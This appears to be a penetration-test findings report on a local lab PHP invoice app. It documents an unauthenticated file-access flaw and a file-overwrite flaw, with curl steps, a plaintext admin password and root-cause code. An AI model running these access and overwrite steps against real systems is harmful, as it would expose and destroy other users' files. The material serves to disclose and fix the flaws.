# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Unauthenticated Direct Object Reference (IDOR) - File Access Bypass

**Summary:**
- **Vulnerable location:** `GET /uploaded_invoices/{filename}` - Apache serving uploaded files with no authorization
- **Overview:** Uploaded invoice files are stored in a web-accessible directory with no ownership tracking or access controls. Any user, including unauthenticated anonymous users, can access any uploaded file by knowing or guessing the filename. Directory listing is enabled, making file discovery trivial.
- **Impact:** Complete confidentiality breach for all uploaded invoice documents. Any sensitive financial data uploaded by users is immediately accessible to the public internet without authentication.
- **Severity:** Critical

**Prerequisites:** None - exploitation requires no authentication or special access

**Exploitation Steps:**

1. **Discover the uploaded files directory (unauthenticated)**
   ```bash
   curl -i http://localhost:35845/uploaded_invoices/
   ```
   
   Expected result: HTTP 200 OK with directory listing showing all uploaded files
   
   Actual result: Successfully retrieved directory listing showing:
   - `admin_invoice.pdf` (uploaded by authenticated user)
   - `script>.pdf` (existing file)
   - `test_overwrite_v1.pdf` (test file)

2. **Access uploaded file without authentication**
   ```bash
   curl -s http://localhost:35845/uploaded_invoices/admin_invoice.pdf
   ```
   
   Expected result: File content downloaded without requiring session cookie or authentication
   
   Actual result: Successfully downloaded file content:
   ```
   ADMIN USER - CONFIDENTIAL INVOICE #1001
   ```

3. **Verify no authentication is required**
   ```bash
   # No Cookie header, no session, no credentials
   curl -i http://localhost:35845/uploaded_invoices/script%3e.pdf
   ```
   
   Expected result: HTTP 200 OK with file content
   
   Actual result: Successfully downloaded file content:
   ```
   Test PDF content
   ```

**Proof of Impact:**

- **Anonymous access confirmed:** All three test files were successfully accessed without providing any session cookie or authentication credentials
- **Directory listing enabled:** The Apache server returns a full directory index at `/uploaded_invoices/`, exposing all filenames to attackers
- **No authorization guard:** Files are served directly by Apache as static content with no PHP session validation or ownership checks
- **Complete IDOR vulnerability:** An attacker can enumerate and download ALL uploaded invoices from ALL users

**Notes:** 
- The vulnerability exists because the upload directory `./uploaded_invoices/` is created within the web root with 0777 permissions (upload.php:36)
- No database tracks file ownership (no `files` table in schema)
- No download proxy with authorization exists (no `download.php` endpoint)
- Apache DirectoryIndex is enabled by default, exposing all filenames

---

### AUTHZ-VULN-02: Horizontal Authorization Bypass - File Overwrite in Shared Directory

**Summary:**
- **Vulnerable location:** `POST /upload.php` - File upload handler with no user isolation
- **Overview:** All users upload files to a shared directory (`./uploaded_invoices/`) with no per-user subdirectories or unique filename prefixes. When a user uploads a file with the same name as an existing file, the original file is silently overwritten without warning or error. No ownership tracking prevents users from overwriting each other's files.
- **Impact:** Data integrity loss and denial of service. Any user can destroy another user's uploaded invoice by uploading a file with the same name. No audit trail, no warning, no recovery mechanism.
- **Severity:** High

**Prerequisites:** Valid authentication session (any authenticated user can exploit)

**Exploitation Steps:**

1. **Authenticate as a user**
   ```bash
   # Using valid credentials: username=admin, password=ThisIsNotPartOfTheChallenge!
   # Navigate to: http://localhost:35845/
   # Login with credentials to obtain session cookie
   ```
   
   Result: Successfully authenticated and received PHPSESSID session cookie

2. **Upload first file (simulating User A)**
   ```bash
   # Create test file
   echo "ORIGINAL CONTENT - FILE VERSION 1" > /tmp/test_overwrite_v1.pdf
   
   # Upload via browser at http://localhost:35845/dashboard.php
   # Select file: test_overwrite_v1.pdf
   # Click Upload button
   ```
   
   Result: File successfully uploaded to `/uploaded_invoices/test_overwrite_v1.pdf`

3. **Verify first file content**
   ```bash
   curl -s http://localhost:35845/uploaded_invoices/test_overwrite_v1.pdf
   ```
   
   Result: Retrieved content:
   ```
   ORIGINAL CONTENT - FILE VERSION 1
   ```

4. **Upload second file with same name (simulating User B overwriting User A's file)**
   ```bash
   # Create malicious file with SAME filename
   echo "MALICIOUS CONTENT - FILE VERSION 2 - OVERWRITTEN BY ATTACKER" > /tmp/test_overwrite_v1.pdf
   
   # Upload via browser at http://localhost:35845/dashboard.php
   # Select file: test_overwrite_v1.pdf (same name as before)
   # Click Upload button
   ```
   
   Result: File successfully uploaded with message "File is successfully uploaded." - NO warning about overwriting existing file

5. **Verify original file was destroyed**
   ```bash
   curl -s http://localhost:35845/uploaded_invoices/test_overwrite_v1.pdf
   ```
   
   Result: File now contains DIFFERENT content:
   ```
   MALICIOUS CONTENT - FILE VERSION 2 - OVERWRITTEN BY ATTACKER
   ```

**Proof of Impact:**

- **Silent overwrite confirmed:** The original file content was completely replaced with the second upload
- **No warning or error:** Application returned success message without indicating file already existed
- **No ownership validation:** The upload handler never checks if the file belongs to a different user
- **No audit trail:** No database record tracks who uploaded what file or when overwrite occurred
- **No recovery mechanism:** Original file is permanently lost with no versioning or backup

**Technical Root Cause:**
```php
// upload.php:32-33 - All users write to shared directory
$uploadFileDir = './uploaded_invoices/';
$dest_path = $uploadFileDir . $fileName; // No user_id prefix

// upload.php:39 - move_uploaded_file() overwrites silently
move_uploaded_file($fileTmpPath, $dest_path);
// No check for file_exists()
// No database INSERT to track ownership
```

**Attack Scenario in Multi-User Environment:**
1. Alice (User A) uploads `invoice-2024.pdf` containing her confidential financial data
2. Bob (User B) discovers the filename (via directory listing or guessing)
3. Bob uploads malicious content named `invoice-2024.pdf`
4. Alice's original invoice is destroyed, replaced with Bob's malicious content
5. Alice attempts to download her invoice and receives Bob's malicious file
6. No audit trail exists to determine what happened or recover Alice's data

**Notes:**
- The vulnerability exists because username retrieved in upload.php:10 is never used in file path or database tracking
- No per-user directories: No `mkdir("./uploaded_invoices/$username/")`
- No unique filename generation: No timestamp, no UUID, no user_id prefix
- No existence check: No `file_exists()` validation before `move_uploaded_file()`
